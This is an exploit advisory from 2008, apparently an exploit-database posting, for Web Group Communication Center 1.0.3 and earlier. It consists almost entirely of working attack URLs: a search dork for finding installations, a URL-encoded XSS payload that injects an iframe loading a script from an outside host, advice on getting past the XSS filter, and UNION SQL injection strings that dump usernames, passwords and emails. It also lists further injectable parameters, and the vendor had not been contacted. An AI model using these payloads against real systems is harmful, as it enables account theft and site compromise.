Exploit Code :  

*************************************************
# Title : Web Group Communication Center [XSS/SQL] Multiple Remote
Vulnerabilies
# Author : myvx
# Date : 13.05.2008
*************************************************
# Application : Web Group Communication Center
# Version : <= 1.0.3 PreRelease #1
# Vendor : http://wgcc.de/
# Download :
http://wgcc.de/filebase/Geschuetzer_Bereich/wgcc_release_1_0_2.zip
*************************************************
# google dork : "Web Group Communication Center"

Exploit:
XSS:
http://[target]/[path]/profile.php?action=show&userid=%22%3E%3C%69%66%72
%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%2E%63%6B%65%72%73%2E
%6F%72%67%2F%73%63%72%69%70%74%6C%65%74%2E%68%74%6D%6C%3C

To bypass the XSS-Filter urlencode your malicious Code.

SQL-INJECTION(you must be logged in):
http://[target]/[path]/profile.php?action=show&saction=moreinfo&userid=-
1+UNION+SELECT+1,concat(username,0x3a,password,0x3a,email)+FROM+wgcc_use
r--
or
http://[target]/[path]/profile.php?action=show&saction=moreinfo&userid=-
1+UNION+SELECT+1,concat(username,0x3a,passwort,0x3a,email)+FROM+wgcc_use
r--

more:
http://[target]/[path]/picturegallery.php?action=shownext&bildid=[SQL-ST
ATEMENT]
http://[target]/[path]/filebase.php?action=freigeben&id=[SQL-STATEMENT]
http://[target]/[path]/schedule.php?action=del&id=[SQL-STATEMENT]
http://[target]/[path]/profile.php?action=observe&saction=del&id=[SQL-ST
ATEMENT]
http://[target]/[path]/message.php?action=delete&pmid=[SQL-STATEMENT]
http://[target]/[path]/message.php?action=showfolder&folderid=[SQL-STATE
MENT]

The Vendor has not been contacted yet.